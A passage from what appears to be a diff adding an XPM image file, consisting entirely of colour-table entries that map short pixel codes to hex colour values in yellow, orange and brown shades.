c #B78500", +"]X c #F2E200", +"^X c #ECD900", +"/X c #AD7400", +"(X c #C39200", +"_X c #CB9D00", +":X c #CEA100", +"Y c #E77B05", +",Y c #E48026", +"'Y c #5B2C19", +")Y c #B26122", +"!Y c #C8800F", +"~Y c #D4B400", +"{Y c #BF8F00", +"]Y c #BB8500", +"^Y c #CA9A00", +"/Y c #CE9F00", +"(Y c #CFA100", +"_Y c #CA9B00", +":Y c #B77F00", +"Z c #471826", +",Z c #592B19", +"'Z c #AD5E21", +")Z c #C37C0E", +"!Z c #F1E400", +"~Z c #C89500", +"{Z c #CB9A00", +"]Z c #CE9E00", +"^Z c #B27700", +"/Z c #FDFA00", +"(Z c #DCC300", +"_Z c #BF9000", +":Z c #B37D00", +"` c #B87F00", +",` c #C38F00", +"'` c #C49100", +")` c #BD8700", +"!` c #BA7800", +"~` c #A27501", +"{` c #432511", +"]` c #82140F", +"^` c #A4360F", +"/` c #9B4115", +"(` c #A04817", +"_` c #A04816", +":` c #983A14", +"<` c #8F2B0F", +"[` c #A6260C", +"}` c #511F13", +"|` c #262304", +"1` c #523000", +"2` c #937500", +"3` c #E9DE00", +"4` c #FEFE00", +"5` c #F2E300", +"6` c #E3C800", +"7` c #D9B800", +"8` c #CFA000", +"9` c #D4AC00", +"0` c #F5EA00", +"a` c #FEFF00", +"b` c #C29000", +"c` c #BF7300", +"d` c #59360C", +"e` c #691312", +"f` c #A13411", +"g` c #9B4016", +"h` c #A04A16", +"i` c #A34715", +"j` c #A32F13", +"k` c #3F0615", +"l` c #374007", +"m` c #C5CE00", +"n` c #E6DE00", +"o` c #C48600", +"p` c #9A5A00", +"q` c #633714", +"r` c #AE511E", +"s` c #B46320", +"t` c #B86921", +"u` c #B76721", +"v` c #B15D1E", +"w` c #B54917", +"x` c #5F2812", +"y` c #2E2303", +"z` c #623B00", +"A` c #A48800", +"B` c #EADC00", +"C` c #EFDB00", +"D` c #D19800", +"E` c #B65D00", +"F` c #B86200", +"G` c #BC6F00", +"H` c #AA4F00", +"I` c #AF5F00", +"J` c #CC9B00", +"K` c #D1A900", +"L` c #AB5A00", +"M` c #9F3800", +"N` c #B65A00", +"O` c #CB7400", +"P` c #D87F00", +"Q` c #DD8100", +"R` c #E07E00", +"S` c #E07B00", +"T` c #DF7B00", +"U` c #E77C05", +"V` c #592B18", +"W` c #AA5821", +"X` c #CB830E", +"Y` c #C89600", +"Z` c #BB8100", +"`` c #BA8500", +" . c #F3E800", +". . c #AC7000", +"+ . c #B47800", +"@ . c #C89700", +"# . c #CD9F00", +"$ . c #D1A400", +"% . c #D3A600", +"& . c #D3A700", +"* . c #CC9D00", +"= . c #C18F00", +"- . c #CE9000", +"; . c #946F05", +"> . c #350D13", +", . c #5C0010", +"' . c #8B1C0D", +") . c #98240C", +"! . c #97200C", +"~ . c #901C0C", +"{ . c #8A190E", +"] . c #5D1414", +"^ . c #25140D", +"/ . c #4C3A00", +"( . c #8C8800", +"_ . c #D4D500", +": . c #EFDF00", +"< . c #DAB700", +"[ . c #BC8000", +"} . c #BE8000", +"| . c #C48800", +"1 . c #C88E00", +"2 . c #C58700", +"3 . c #BD7B00", +"4 . c #BB7900", +"5 . c #F5DA00", +"6 . c #A77C02", +"7 . c #3C0611", +"8 . c #901D0F", +"9 . c #9B3C13", +"0 . c #9E4316", +"a . c #A14B16", +"b . c #A64815", +"c . c #A73414", +"d . c #440A16", +"e . c #212308", +"f . c #AEB000", +"g . c #B09B01", +"h . c #6A2F17", +"i . c #BB581D", +"j . c #B6651E", +"k . c #B9691F", +"l . c #B6651F", +"m . c #AF5A1B", +"n . c #B14415", +"o . c #552212", +"p . c #373103", +"q . c #6B4600", +"r . c #C17800", +"s . c #ECD600", +"t . c #CC8C00", +"u . c #B96100", +"v . c #B25A00", +"w . c #A64500", +"x . c #A54A00", +"y . c #BE8100", +"z . c #F6EF00", +"A . c #FCFC00", +"B . c #C69200", +"C . c #A04400", +"D . c #A13A00", +"E . c #BB6200", +"F . c #C66F00", +"G . c #CF7400", +"H . c #E07D00", +"I . c #E07C00", +"J . c #DF7900", +"K . c #E87C05", +"L . c #592A18", +"M . c #AB5522", +"N . c #F2C90F", +"O . c #C68E00", +"P . c #C89300", +"Q . c #C38D00", +"R . c #B17200", +"S . c #EDDB00", +"T . c #F6EE00", +"U . c #B37700", +"V . c #B87C00", +"W . c #CC9A00", +"X . c #D4A400", +"Y . c #DBAC00", +"Z . c #DEAF00", +"` . c #E0B100", +" .. c #DEB000", +"... c #D7A900", +"+.. c #CD9B00", +"@.. c #C18D00", +"#.. c #C17600", +"$.. c #AB8D03", +"%.. c #8E8D0C", +"&.. c #5B260D", +"*.. c #4D1410", +"=.. c #4D1610", +"-.. c #51210F", +";.. c #4F270C", +">.. c #382709", +",.. c #726D00", +"'.. c #A9A900", +").. c #B3A300", +"!.. c #BA7C00", +"~.. c #BF7F00", +"{.. c #C98F00", +"].. c #D09B00", +"^.. c #D4A000", +"/.. c #D6A200", +"(.. c #D8A400", +"_.. c #D7A400", +":.. c #D49F00", +"<.. c #CF9700", +"[.. c #BA7400", +"}.. c #CEA000", +"|.. c #F5EF00", +"1.. c #8A7D08", +"2.. c #430011", +"3.. c #A32D0D", +"4.. c #9B3F13", +"5.. c #A14515", +"6.. c #A54F15", +"7.. c #AC5114", +"8.. c #B34715", +"9.. c #581818", +"0.. c #0F050B", +"a.. c #948400", +"b.. c #B6B802", +"c.. c #874C19", +"d.. c #C4651A", +"e.. c #B8661D", +"f.. c #BA681E", +"g.. c #B6631C", +"h.. c #AD5619", +"i.. c #A93D12", +"j.. c #4F2011", +"k.. c #3C3403", +"l.. c #714C00", +"m.. c #A56E00", +"n.. c #CB7F00", +"o.. c #C66B00", +"p.. c #CB8000", +"q.. c #E6C300", +"r.. c #F3E500", +"s.. c #CD8B00", +"t.. c #BA5D00", +"u.. c #BA5C00", +"v.. c #BF6C00", +"w.. c #BF6E00", +"x.. c #BD6B00", +"y.. c #B75F00", +"z.. c #A43D00", +"A.. c #A84E00", +"B.. c #CB9B00", +"C.. c #B67600", +"D.. c #983500", +"E.. c #AA4600", +"F.. c #C26900", +"G.. c #CC7100", +"H.. c #E17E00", +"I.. c #E17D00", +"J.. c #E07A00", +"K.. c #E07800", +"L.. c #E87B05", +"M.. c #5A2A19", +"N.. c #B86423", +"O.. c #F7C910", +"P.. c #CF9A00", +"Q.. c #B57500", +"R.. c #CEA400", +"S.. c #B47300", +"T.. c #D6A600", +"U.. c #DFB100", +"V.. c #E8B500", +"W.. c #E9B500", +"X.. c #DDB000", +"Y.. c #C28700", +"Z.. c #B98000", +"`.. c #F8E000", +" +. c #A67601", +".+. c #917404", +"++. c #846E05", +"@+. c #826702", +"#+. c #846000", +"$+. c #C0B400", +"%+. c #D9D800", +"&+. c #B69100", +"*+. c #B07100", +"=+. c #C08100", +"-+. c #CC9300", +";+. c #CF9800", +">+. c #D29B00", +",+. c #D9A600", +"'+. c #DEAD00", +")+. c #DDAA00", +"!+. c #D9A500", +"~+. c #D6A000", +"{+. c #D09500", +"]+. c #E3C500", +"^+. c #6B5B0E", +"/+. c #6A000D", +"(+. c #A03A0F", +"_+. c #9F4313", +":+. c #A44A14", +"<+. c #AD5915", +"[+. c #B45D14", +"}+. c #C55B16", +"|+. c #79351A", +"1+. c #1B0607", +"2+. c #241803", +"3+. c #9E5E1B", +"4+. c #D48022", +"5+. c #C07329", +"6+. c #BA6821", +"7+. c #B45E17", +"8+. c #AB5115", +"9+. c #A33510", +"0+. c #491E0F", +"a+. c #413602", +"b+. c #764F00", +"c+. c #AE7500", +"d+. c #D68F00", +"e+. c #DB9000", +"f+. c #C26700", +"g+. c #CA7D00", +"h+. c #E9C800", +"i+. c #F6EC00", +"j+. c #D59E00", +"k+. c #BB5F00", +"l+. c #BC5D00", +"m+. c #C36F00", +"n+. c #C16D00", +"o+. c #BF6A00", +"p+. c #B35300", +"q+. c #9E3500", +"r+. c #AB5B00", +"s+. c #DABE00", +"t+. c #D8BC00", +"u+. c #A65500", +"v+. c #9C3200", +"w+. c #BC5E00", +"x+. c #CA6E00", +"y+. c #C06825", +"z+. c #E49811", +"A+. c #D7A600", +"B+. c #D7A200", +"C+. c #C78D00", +"D+. c #B16F00", +"E+. c #F4E600", +"F+. c #B06E00", +"G+. c #C88F00", +"H+. c #DFAF00", +"I+. c #EAB600", +"J+. c #E3B300", +"K+. c #DCAE00", +"L+. c #F6EA00", +"M+. c #F5E800", +"N+. c #B57200", +"O+. c #CC8F00", +"P+. c #D79B00", +"Q+. c #D59900", +"R+. c #DBBD00", +"S+. c #C28C00", +"T+. c #B77100", +"U+. c #C78B00", +"V+. c #CE9600", +"W+. c #D09A00", +"X+. c #D39E00", +"Y+. c #D6A300", +"Z+. c #DBA800", +"`+. c #DFAD00", +" @. c #E2B200", +".@. c #E5B500", +"+@. c #E6B500", +"@@. c #E3B000", +"#@. c #DFAA00", +"$@. c #DAA100", +"%@. c #D59A00", +"&@. c #C98600", +"*@. c #B66600", +"=@. c #F0C500", +"-@. c #D8F105", +";@. c #471010", +">@. c #951709", +",@. c #9C3F10", +"'@. c #A44712", +")@. c #AB5414", +"!@. c #B66615", +"~@. c #BB6B14", +"{@. c #D26E16", +"]@. c #8C4819", +"^@. c #291A16", +"/@. c #A95F2B", +"(@. c #D07D3B", +"_@. c #CA8138", +":@. c #C37727", +"<@. c #B56215", +"[@. c #A84B12", +"}@. c #9A2C0F", +"|@. c #421D0E", +"1@. c #443701", +"2@. c #785100", +"3@. c #B47900", +"4@. c #DD9400", +"5@. c #DF9500", +"6@. c #D98F00", +"7@. c #D78A00", +"8@. c #CF7900", +"9@. c #C56700", +"0@. c #E3B900", +"a@. c #F4E800", +"b@. c #F1E100", +"c@. c #CE8900", +"d@. c #BA5300", +"e@. c #C36700", +"f@. c #BD6600", +"g@. c #A94400", +"h@. c #973200", +"i@. c #F8F700", +"j@. c #B97E00", +"k@. c #992E00", +"l@. c #BA5900", +"m@. c #C86C00", +"n@. c #D37300", +"o@. c #E17C00", +"p@. c #DF7800", +"q@. c #E97C05", +"r@. c #5E2D1A", +"s@. c #C56A26", +"t@. c #EFA511", +"u@. c #E0B400", +"v@. c #BC7B00", +"w@. c #CC9F00", +"x@. c #D4B000", +"y@. c #B56F00", +"z@. c #CD9600", +"A@. c #E4B300", +"B@. c #EAB500", +"C@. c #E9B600", +"D@. c #DFB000", +"E@. c #D9A700", +"F@. c #C48400", +"G@. c #DEB900", +"H@. c #C68C00", +"I@. c #C78800", +"J@. c #CF9900", +"K@. c #C88800", +"L@. c #D9B200", +"M@. c #B26500", +"N@. c #C58800", +"O@. c #CD9000", +"P@. c #CE8F00", +"Q@. c #D19500", +"R@. c #E1AF00", +"S@. c #E8B600", +"T@. c #E6B200", +"U@. c #E3AD00", +"V@. c #DEA500", +"W@. c #D79C00", +"X@. c #CE8E00", +"Y@. c #BB6A00", +"Z@. c #F6CE00", +"`@. c #858E0C", +" #. c #53000D", +".#. c #A53009", +"+#. c #A0440F", +"@#. c #A84E11", +"##. c #B56213", +"$#. c #C2741B", +"%#. c #C27826", +"&#. c #CD7630", +"*#. c #BF6C38", +"=#. c #C07445", +"-#. c #C6774A", +";#. c #C57642", +">#. c #C67A2A", +",#. c #BC6C12", +"'#. c #AB4F0E", +")#. c #92290D", +"!#. c #3D160C", +"~#. c #463200", +"{#. c #794F00", +"]#. c #B77A00", +"^#. c #DD9600", +"/#. c #E19700", +"(#. c #DF9200", +"_#. c #DC8F00", +":#. c #DA8C00", +"<#. c #D68700", +"[#. c #C46300", +"}#. c #C66E00", +"|#. c #E3B800", +"1#. c #FEFD00", +"2#. c #C15F00", +"3#. c #C05C00", +"4#. c #C97200", +"5#. c #C16A00", +"6#. c #B75800", +"7#. c #9A2F00", +"8#. c #A65D00", +"9#. c #BE8900", +"0#. c #932400", +"a#. c #B85200", +"b#. c #C96B00", +"c#. c #E17B00", +"d#. c #E17A00", +"e#. c #E07900", +"f#. c #E97D05", +"g#. c #602E1B", +"h#. c #CA6C27", +"i#. c #F4A911", +"j#. c #E4B800", +"k#. c #DBA700", +"l#. c #B77200", +"m#. c #DCBA00", +"n#. c #C28F00", +"o#. c #BC7900", +"p#. c #EAB700", +"q#. c #EBB700", +"r#. c #E2B400", +"s#. c #D09700", +"t#. c #FCF800", +"u#. c #DDB900", +"v#. c #C27F00", +"w#. c #D19900", +"x#. c #BE7900", +"y#. c #E4C800", +"z#. c #FAF300", +"A#. c #B46E00", +"B#. c #BC7800", +"C#. c #C07900", +"D#. c #C78600", +"E#. c #D19C00", +"F#. c #D6A900", +"G#. c #C78200", +"H#. c #D09100", +"I#. c #DAA300", +"J#. c #DFA900", +"K#. c #E4B100", +"L#. c #E5B100", +"M#. c #E0A900", +"N#. c #D99F00", +"O#. c #CF8F00", +"P#. c #CE7800", +"Q#. c #D5C102", +"R#. c #57420F", +"S#. c #7B0007", +"T#. c #A03A0B", +"U#. c #A6490D", +"V#. c #B15A0F", +"W#. c #C27425", +"X#. c #CB8139", +"Y#. c #CD8545", +"Z#. c #CE7F52", +"`#. c #CA7D5A", +" $. c #CA7F56", +".$. c #C67648", +"+$. c #BE6D2B", +"@$. c #B9660F", +"#$. c #AC4D0A", +"$$. c #87210C", +"%$. c #432A09", +"&$. c #4A3000", +"*$. c #723F00", +"=$. c #DA8D00", +"-$. c #E09300", +";$. c #E09400", +">$. c #E19400", +",$. c #DF9300", +"'$. c #DD9000", +")$. c #DA8B00", +"!$. c #D78600", +"~$. c #D07700", +"{$. c #C35C00", +"]$. c #D18500", +"^$. c #F3DF00", +"/$. c #D08800", +"($. c #BE5400", +"_$. c #C06300", +":$. c #A03300", +"<$. c #9A4100", +"[$. c #C59600", +"}$. c #972B00", +"|$. c #B54D00", +"1$. c #CA6C00", +"2$. c #D47300", +"3$. c #E17900", +"4$. c #EA7D05", +"5$. c #F8AB12", +"6$. c #DDA700", +"7$. c #B97200", +"8$. c #BF8800", +"9$. c #BE7B00", +"0$. c #D19A00", +"a$. c #DDAB00", +"b$. c #EBB800", +"c$. c #E9B700", +"d$. c #C48100", +"e$. c #E3C100", +"f$. c #C38400", +"g$. c #D19700", +"h$. c #D5A000", +"i$. c #CE9300", +"j$. c #E8CF00", +"k$. c #B16200", +"l$. c #BA7300", +"m$. c #DCB800", +"n$. c #F9F600", +"o$. c #EAD200", +"p$. c #C98100", +"q$. c #E0AA00", +"r$. c #EBB900", +"s$. c #EABA00", +"t$. c #E1A900", +"u$. c #DA9D00", +"v$. c #CA8400", +"w$. c #E89600", +"x$. c #A2A108", +"y$. c #45060E", +"z$. c #991805", +"A$. c #9F400A", +"B$. c #AA5009", +"C$. c #BC6C1E", +"D$. c #CC803C", +"E$. c #D48C4F", +"F$. c #D5905D", +"G$. c #CC8163", +"H$. c #CD7E5F", +"I$. c #CA7A4D", +"J$. c #BE692A", +"K$. c #B1590B", +"L$. c #A84407", +"M$. c #7A110A", +"N$. c #453A08", +"O$. c #6A7000", +"P$. c #764700", +"Q$. c #A54F00", +"R$. c #E29600", +"S$. c #E29400", +"T$. c #E19000", +"U$. c #DE8B00", +"V$. c #DA8600", +"W$. c #CA6700", +"X$. c #C25B00", +"Y$. c #E2B500", +"Z$. c #DEAA00", +"`$. c #BE5200", +" %. c #CB6D00", +".%. c #CD7200", +"+%. c #C96C00", +"@%. c #AE4400", +"#%. c #8E2500", +"$%. c #C39700", +"%%. c #D2AF00", +"&%. c #9D3200", +"*%. c #B95200", +"=%. c #CC6B00", +"-%. c #D67100", +";%. c #DD7700", +">%. c #F7AB12", +",%. c #DCA500", +"'%. c #B86F00", +")%. c #DBB500", +"!%. c #C08700", +"~%. c #DAA400", +"{%. c #E9B800", +"]%. c #DCA800", +"^%. c #D39900", +"/%. c #C48300", +"(%. c #E5C600", +"_%. c #C57F00", +":%. c #D8A100", +"<%. c #D69F00", +"[%. c #CA8800", +"}%. c #C78E00", +"|%. c #923700", +"1%. c #F9F400", +"2%. c #F9F500", +"3%. c #E1BC00", +"4%. c #D09600", +"5%. c #D09400", +"6%. c #DFB900", +"7%. c #F8F200", +"8%. c #CB8C00", +"9%. c #CB8500", +"0%. c #DBA300", +"a%. c #E2AC00", +"b%. c #EAB800", +"c%. c #EAB900", +"d%. c #E9B400", +"e%. c #E6AE00", +"f%. c #E1A400", +"g%. c #D89700", +"h%. c #CB7800", +"i%. c #EAB300", +"j%. c #6D6B0E", +"k%. c #570008", +"l%. c #A42C04", +"m%. c #A14506", +"n%. c #B25B0E", +"o%. c #C57830", +"p%. c #CD844D", +"q%. c #D9945E", +"r%. c #D69065", +"s%. c #CC7D5E", +"t%. c #C8754B", +"u%. c #BD6824", +"v%. c #AC5006", +"w%. c #A43905", +"x%. c #761609", +"y%. c #2C0B08", +"z%. c #5F5200", +"A%. c #A4A700", +"B%. c #BA5500", +"C%. c #CB7300", +"D%. c #D68800", +"E%. c #DC8D00", +"F%. c #E19200", +"G%. c #E49400", +"H%. c #E49300", +"I%. c #E39100", +"J%. c #E18E00", +"K%. c #DD8800", +"L%. c #D27900", +"M%. c #C25800", +"N%. c #D38900", +"O%. c #E6BD00", +"P%. c #C05200", +"Q%. c #CF7300", +"R%. c #CB6E00", +"S%. c #C76900", +"T%. c #B74F00", +"U%. c #912300", +"V%. c #CEA300", +"W%. c #9F2C00", +"X%. c #CE6A00", +"Y%. c #481927", +"Z%. c #5F2E1B", +"`%. c #C96C27", +" &. c #DCA400", +".&. c #D29500", +"+&. c #BA6D00", +"@&. c #E3AF00", +"#&. c #E0AB00", +"$&. c #D9A100", +"%&. c #D8AA00", +"&&. c #FDFB00", +"*&. c #CE9400", +"=&. c #CE8C00", +"-&. c #C77F00", +";&. c #B48400", +">&. c #904700", +",&. c #BF7600", +"'&. c #CF8C00", +")&. c #C07000", +"!&. c #C48000", +"~&. c #FCF900", +"{&. c #C78100", +"]&. c #DEA400", +"^&. c #EBB500", +"/&. c #EAB200", +"(&. c #E5AA00", +"_&. c #DE9F00", +":&. c #D38E00", +"<&. c #DBCD04", +"[&. c #49360F", +"}&. c #6F0003", +"|&. c #A43604", +"1&. c #A74A02", +"2&. c #BD6A15", +"3&. c #C5763E", +"4&. c #D08555", +"5&. c #D7905E", +"6&. c #D18757", +"7&. c #C46F41", +"8&. c #BA6117", +"9&. c #AA4B02", +"0&. c #9F2703", +"a&. c #6B1509", +"b&. c #382F07", +"c&. c #400800", +"d&. c #8D6F00", +"e&. c #F9FF00", +"f&. c #E1B900", +"g&. c #BB5A00", +"h&. c #C56400", +"i&. c #E59400", +"j&. c #E69500", +"k&. c #E39000", +"l&. c #D57E00", +"m&. c #C65B00", +"n&. c #CC7400", +"o&. c #C25300", +"p&. c #CE6D00", +"q&. c #D17400", +"r&. c #CE6F00", +"s&. c #C96900", +"t&. c #BA5100", +"u&. c #932600", +"v&. c #CCA600", +"w&. c #B36800", +"x&. c #A62F00", +"y&. c #C76500", +"z&. c #D26D00", +"A&. c #C46A26", +"B&. c #EEA211", +"C&. c #E2B100", +"D&. c #DCA300", +"E&. c #D39700", +"F&. c #C58D00", +"G&. c #EBD800", +"H&. c #C98800", +"I&. c #D29600", +"J&. c #DBA200", +"K&. c #D69B00", +"L&. c #C47B00", +"M&. c #EDD500", +"N&. c #D39400", +"O&. c #DFA800", +"P&. c #C77E00", +"Q&. c #CC9500", +"R&. c #9C6800", +"S&. c #FBF400", +"T&. c #AB5600", +"U&. c #C47600", +"V&. c #D49700", +"W&. c #D99E00", +"X&. c #DBA100", +"Y&. c #D89D00", +"Z&. c #D49500", +"`&. c #C57700", +" *. c #C57200", +".*. c #DA9B00", +"+*. c #E1A500", +"@*. c #E7AE00", +"#*. c #ECB600", +"$*. c #E9AF00", +"%*. c #E3A600", +"&*. c #DB9900", +"**. c #C77700", +"=*. c #EFA700", +"-*. c #CAE008", +";*. c #3A0C0E", +">*. c #850401", +",*. c #A23801", +"'*. c #B05600", +")*. c #BD681C", +"!*. c #C57540", +"~*. c #CC7F4C", +"{*. c #CB7E47", +"]*. c #C4722D", +"^*. c #B35507", +"/*. c #A44001", +"(*. c #9C1900", +"_*. c #4C070B", +":*. c #4B6407", +"<*. c #654900", +"[*. c #600F00", +"}*. c #E2D200", +"|*. c #ECD700", +"1*. c #C16700", +"2*. c #D88400", +"3*. c #E39200", +"4*. c #E69600", +"5*. c #E69400", +"6*. c #E49000", +"7*. c #D88000", +"8*. c #C95E00", +"9*. c #CA6D00", +"0*. c #C25000", +"a*. c #D17000", +"b*. c #D37400", +"c*. c #D07000", +"d*. c #CA6A00", +"e*. c #B84E00", +"f*. c #952500", +"g*. c #F0E400", +"h*. c #A13D00", +"i*. c #B44400", +"j*. c #CB6700", +"k*. c #D57000", +"l*. c #EA7C05", +"m*. c #5C2C19", +"n*. c #BD6924", +"o*. c #E29210", +"p*. c #D79A00", +"q*. c #DAA000", +"r*. c #CD8D00", +"s*. c #B66700", +"t*. c #A24B00", +"u*. c #AE5700", +"v*. c #BF7200", +"w*. c #C98000", +"x*. c #D69600", +"y*. c #C98700", +"z*. c #E8CC00", +"A*. c #E2AE00", +"B*. c #DEA700", +"C*. c #CD8900", +"D*. c #BF7A00", +"E*. c #FEF900", +"F*. c #E8E000", +"G*. c #A34A00", +"H*. c #CE8800", +"I*. c #D79900", +"J*. c #DFA600", +"K*. c #E1A800", +"L*. c #DB9E00", +"M*. c #D59500", +"N*. c #C36D00", +"O*. c #D19300", +"P*. c #D08200", +"Q*. c #E4A900", +"R*. c #E9B200", +"S*. c #ECB700", +"T*. c #EAB400", +"U*. c #E6AC00", +"V*. c #DF9F00", +"W*. c #D79000", +"X*. c #BF5F00", +"Y*. c #FFE800", +"Z*. c #B7CC0A", +"`*. c #33000C", +" =. c #901200", +".=. c #A03A00", +"+=. c #B15800", +"@=. c #B86214", +"#=. c #C06D25", +"$=. c #BB6321", +"%=. c #BB660B", +"&=. c #AC4C00", +"*=. c #982E01", +"==. c #8B0800", +"-=. c #3A070C", +";=. c #433D03", +">=. c #8D9500", +",=. c #844200", +"'=. c #E0C600", +")=. c #C87400", +"!=. c #C45B00", +"~=. c #D98600", +"{=. c #DF8D00", +"]=. c #E49200", +"^=. c #E79300", +"/=. c #E79200", +"(=. c #E59000", +"_=. c #E28A00", +":=. c #D87E00", +"<=. c #CA5C00", +"[=. c #C44F00", +"}=. c #D27100", +"|=. c #CC6900", +"1=. c #B64600", +"2=. c #9B2F00", +"3=. c #E2CB00", +"4=. c #DDBE00", +"5=. c #9C2600", +"6=. c #CE6900", +"7=. c #D87100", +"8=. c #DF7500", +"9=. c #E58026", +"0=. c #5D2D19", +"a=. c #582919", +"b=. c #B26123", +"c=. c #F5C90F", +"d=. c #E2B800", +"e=. c #D19100", +"f=. c #CD8C00", +"g=. c #B66C00", +"h=. c #F2E600", +"i=. c #C78A00", +"j=. c #DCB500", +"k=. c #D39300", +"l=. c #D08C00", +"m=. c #CB8400", +"n=. c #E1AB00", +"o=. c #D59600", +"p=. c #B65F00", +"q=. c #B57F00", +"r=. c #AB5000", +"s=. c #D08900", +"t=. c #E5AD00", +"u=. c #E8B300", +"v=. c #E3A900", +"w=. c #DC9C00", +"x=. c #D48B00", +"y=. c #F7EB00", +"z=. c #DB9800", +"A=. c #E2A500", +"B=. c #E8B000", +"C=. c #ECB800", +"D=. c #ECB500", +"E=. c #E9AE00", +"F=. c #E3A200", +"G=. c #D18800", +"H=. c #827B0C", +"I=. c #360009", +"J=. c #961200", +"K=. c #A13E00", +"L=. c #AA4B00", +"M=. c #B15600", +"N=. c #B05200", +"O=. c #A84500", +"P=. c #A03E00", +"Q=. c #941900", +"R=. c #670006", +"S=. c #34220A", +"T=. c #4E1E00", +"U=. c #8A7700", +"V=. c #D2C900", +"W=. c #912600", +"X=. c #CDA000", +"Y=. c #C76C00", +"Z=. c #CB6500", +"`=. c #DB8800", +" -. c #E18D00", +".-. c #E89400", +"+-. c #E79000", +"@-. c #E58D00", +"#-. c #E28900", +"$-. c #D97D00", +"%-. c #C95600", +"&-. c #D68900", +"*-. c #C95700", +"=-. c #D67600", +"--. c #D67400", +";-. c #D36E00", +">-. c #B23D00", +",-. c #9E3A00", +"'-. c #F3EA00", +")-. c #C89200", +"!-. c #A42D00", +"~-. c #C65E00", +"{-. c #D26A00", +"]-. c #DC7200", +"^-. c #E97B05", +"/-. c #451725", +"(-. c #572918", +"_-. c #A24D21", +":-. c #FEE50E", +"<-. c #F9F000", +"[-. c #C98300", +"}-. c #C67F00", +"|-. c #B55F00", +"1-. c #D8BF00", +"2-. c #DFB800", +"3-. c #CC8400", +"4-. c #D49400", +"5-. c #CC8200", +"6-. c #DAA900", +"7-. c #FAF600", +"8-. c #DCA000", +"9-. c #E3AC00", +"0-. c #E8B400", +"a-. c #E4AE00", +"b-. c #DA9C00", +"c-. c #C26D00", +"d-. c #C58400", +"e-. c #DAB600", +"f-. c #B04E00", +"g-. c #D08300", +"h-. c #DEA100", +"i-. c #E7B000", +"j-. c #EDB900", +"k-. c #E8B100", +"l-. c #E0A300", +"m-. c #D89500", +"n-. c #D39200", +"o-. c #D58900", +"p-. c #E0A200", +"q-. c #E7AD00", +"r-. c #ECB300", +"s-. c #EBB000", +"t-. c #E6A600", +"u-. c #DF9900", +"v-. c #D78900", +"w-. c #C36900", +"x-. c #FFE900", +"y-. c #50250E", +"z-. c #470007", +"A-. c #9A1600", +"B-. c #993400", +"C-. c #9F3900", +"D-. c #A23F00", +"E-. c #982D00", +"F-. c #8D2000", +"G-. c #8E0200", +"H-. c #43030B", +"I-. c #363206", +"J-. c #643500", +"K-. c #7F3100", +"L-. c #E8DC00", +"M-. c #D9AC00", +"N-. c #952700", +"O-. c #EBDE00", +"P-. c #B66400", +"Q-. c #FDFD00", +"R-. c #C76600", +"S-. c #DE8800", +"T-. c #E38D00", +"U-. c #E69000", +"V-. c #E89100", +"W-. c #E89000", +"X-. c #E68D00", +"Y-. c #E28800", +"Z-. c #C64F00", +"`-. c #CC6600", +" ;. c #D06300", +".;. c #D16D00", +"+;. c #CA6400", +"@;. c #A42900", +"#;. c #B56300", +"$;. c #B03700", +"%;. c #CD6500", +"&;. c #D76D00", +"*;. c #E77705", +"=;. c #E37F25", +"-;. c #7D441D", +";;. c #572A18", +">;. c #9C4620", +",;. c #EABC0E", +"';. c #C37400", +");. c #C47800", +"!;. c #AD5600", +"~;. c #852800", +"{;. c #EFE700", +"];. c #FDFE00", +"^;. c #D39C00", +"/;. c #C97B00", +"(;. c #D59200", +"_;. c #D59300", +":;. c #CB7B00", +"<;. c #E1B400", +"[;. c #CE8B00", +"};. c #D18700", +"|;. c #DC9D00", +"1;. c #E4AA00", +"2;. c #DFA100", +"3;. c #D38C00", +"4;. c #BD6100", +"5;. c #DEB800", +"6;. c #DFB600", +"7;. c #D08700", +"8;. c #DD9B00", +"9;. c #E7AF00", +"0;. c #EDBA00", +"a;. c #E2A600", +"b;. c #DA9800", +"c;. c #CC7700", +"d;. c #D59B00", +"e;. c #DF9C00", +"f;. c #E7A900", +"g;. c #ECB200", +"h;. c #EDB400", +"i;. c #EDB300", +"j;. c #EDB200", +"k;. c #E9AA00", +"l;. c #E19D00", +"m;. c #DA9000", +"n;. c #C76800", +"o;. c #EBCA00", +"p;. c #D37901", +"q;. c #4E2A0F", +"r;. c #500006", +"s;. c #920E00", +"t;. c #881900", +"u;. c #8C2000", +"v;. c #841600", +"w;. c #8A0000", +"x;. c #630006", +"y;. c #302A0C", +"z;. c #563200", +"A;. c #754500", +"B;. c #D28C00", +"C;. c #A83D00", +"D;. c #A22400", +"E;. c #EED900", +"F;. c #F2E000", +"G;. c #C65700", +"H;. c #E08800", +"I;. c #E48C00", +"J;. c #E78F00", +"K;. c #E89200", +"L;. c #E89300", +"M;. c #E78E00", +"N;. c #E58A00", +"O;. c #E28500", +"P;. c #F0D800", +"Q;. c #F0D400", +"R;. c #C84F00", +"S;. c #D06A00", +"T;. c #C25400", +"U;. c #9F3000", +"V;. c #E3CC00", +"W;. c #E7CF00", +"X;. c #A73400", +"Y;. c #C45600", +"Z;. c #D26600", +"`;. c #E47405", +" >. c #E27F25", +".>. c #572B18", +"+>. c #9F4D20", +"@>. c #D8970E", +"#>. c #B04F00", +"$>. c #B85D00", +"%>. c #B35500", +"&>. c #AC4B00", +"*>. c #C08500", +"=>. c #F3ED00", +"->. c #D79200", +";>. c #DA9900", +">>. c #CC7B00", +",>. c #CF8100", +"'>. c #DC9B00", +")>. c #E4A800", +"!>. c #DD9D00", +"~>. c #D18400", +"{>. c #F2E400", +"]>. c #F7EF00", +"^>. c #DC9700", +"/>. c #DB9700", +"(>. c #CC7600", +"_>. c #D27C00", +":>. c #E09B00", +"<>. c #EEB400", +"[>. c #EBAD00", +"}>. c #E4A000", +"|>. c #DC9200", +"1>. c #CC6C00", +"2>. c #DE8300", +"3>. c #CF6E02", +"4>. c #4A2A0F", +"5>. c #500005", +"6>. c #850000", +"7>. c #770300", +"8>. c #880000", +"9>. c #690005", +"0>. c #291B0F", +"a>. c #596702", +"b>. c #6F4500", +"c>. c #964E00", +"d>. c #A73000", +"e>. c #CC8000", +"f>. c #B63D00", +"g>. c #E4B400", +"h>. c #CB5A00", +"i>. c #E58E00", +"j>. c #E99000", +"k>. c #E98F00", +"l>. c #E88D00", +"m>. c #E58900", +"n>. c #E18300", +"o>. c #D16400", +"p>. c #CF6800", +"q>. c #FDFF00", +"r>. c #DE9B00", +"s>. c #CB5500", +"t>. c #D67000", +"u>. c #CD6600", +"v>. c #AA2F00", +"w>. c #B46800", +"x>. c #B33800", +"y>. c #CE6100", +"z>. c #E07105", +"A>. c #DF7D24", +"B>. c #A85B20", +"C>. c #C86F0E", +"D>. c #EEDA00", 